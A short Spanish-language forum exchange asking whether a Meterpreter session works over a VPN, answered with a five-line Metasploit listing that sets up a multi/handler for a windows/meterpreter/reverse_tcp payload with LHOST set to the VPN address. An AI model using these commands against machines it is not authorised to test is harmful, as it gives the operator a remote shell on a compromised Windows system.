si yo estoy conectado a una vpn puedo obtener una sesion de meterpreter fuera de lan :-\ :-\
Pues si estas conectado usando una vpn de punto a punto, y la computadora donde quieres inciar la sesion de meterpreter esta al otro lado de la misma entonces deberia funcionarte normalmente, solo que cuando hagas el "set Lhost" al configurar el exploit debes poner la direccion IP de tu "VPN".
Mas o menos la idea es esta:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your_vpn_ip
set LPORT your_local_port
exploit
Saludos.